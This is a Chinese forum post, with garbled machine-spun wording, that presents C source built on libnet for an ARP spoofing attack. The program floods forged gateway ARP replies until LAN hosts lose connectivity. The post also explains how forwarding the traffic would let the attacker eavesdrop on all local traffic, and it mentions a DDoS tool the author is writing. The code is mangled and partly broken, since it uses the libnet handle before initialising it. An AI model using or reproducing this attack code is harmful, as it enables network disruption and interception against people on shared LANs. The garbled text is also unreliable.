|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
经常看到有人问用什么版本的linux好,其实只要你认真学习无论什么版本都挺好的。
闲来无事,用libnet写了个复杂的ARP打击。之前感到ARP打击不是出格罕见,不外比来事情中却是碰到过两次ARP棍骗的事务。实在ARP棍骗的道理灰常复杂滴,年夜部分都是在局域网中发送假造的ARP播送包,播送包的目标是干吗呢?很复杂,棍骗内网的一切主机,告知受益主机,“我”是网关。内网呆板吸收到这类播送包以后,会革新本人ARP缓存表,把网关的IP和播送包中的源MAC绑定。如许打击呆板就到达了假充网关的目标。
前次一所年夜学就是被ARP棍骗打击,他们的黉舍主页一翻开就会跳出其他良多七零八落的页面,,,,事先检察他们WEB服务器的源代码,发明没有被拔出这些<iframe>会弹页面的代码,可是用扫瞄器外网会见的时分,这些代码就呈现了,很分明网站的前往的客户端数据在途中被挟制修正了(拔出了一些代码)。
上面完成的就对照复杂了,只做棍骗,不做转发,招致的成果就是局域网一切主时机断网。测试了一下,内网主时机没法上彀,安了360ARP防护的会报警,能上彀,就是网速有点慢,可是辨认出了的打击主机仿佛禁绝确,试了几回都辨认成一般的电脑在打击,不晓得360这个辨认是否是经由过程源MAC地点辨认仍是怎样辨认。
.代码以下:
#include"arp.h"
intmain(intargc,char**argv){
libnet_t*l;
inti,packet_size;//发送的数据包的长度
libnet_ptag_tarp_tag,ether_tag;
char*device="eth0";
charerr_buf[LIBNET_ERRBUF_SIZE];
char*destion_ip_str="255.255.255.255";
char*source_ip_str="192.168.1.1";
u_charsource_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
u_chardestion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
u_int32_tsource_ip,destion_ip;
//将字符情势ip转换为收集字节序
source_ip=libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
destion_ip=libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);
//初始化libnet句柄
l=libnet_init(LIBNET_LINK,device,err_buf);
if(l==NULL){
printf("初始化libnet句柄失利:%s
",err_buf);
exit(-1);
}
arp_tag=libnet_build_arp(
ARPHRD_ETHER,//硬件地点范例,此处为以太网范例
ETHERTYPE_IP,//协定地点范例
6,
4,
ARPOP_REPLY,//ARP应对
source_hardware,
(u_int8_t*)&source_ip,
destion_hardware,
(u_int8_t*)&destion_ip,
NULL,//无负载
0,//负载长度为0
l,
0//协定块标志,为0,暗示新建协定块
);
ether_tag=libnet_build_ethernet(
(u_int8_t*)&destion_hardware,
(u_int8_t*)&source_hardware,
ETHERTYPE_ARP,
NULL,
0,
l,
0
);
i=0;
while(1){
packet_size=libnet_write(l);//发送机关的ARP数据包
usleep(10);
i++;
}
printf("数据包长度为:%d
",packet_size);
libnet_destroy(l);
return0;
}
方针MAC为播送地点,全0xff就行,源MAC地点能够为本机MAC大概任意假造的MAC(在程序中猎取本机MAC可用ioctl函数,比来在写DDOS打击程序就是用ioctl猎取本机MAC和IP的),注重ARP包范例为ARPOP_REPLY(应对包)。
假如不想弄断网,只举行棍骗的话,数据发送过去以后,要举行转发到准确的网关,如许就包管内网收集一般,并且一切数据都被监听了
看不懂man文档的人.在linux中,命令可分为系统基本命令和应用程序命令.系统基本命令是所有的unix类系统都支持的命令,走到哪都不变,只要是unix类系统上就肯定有. |
|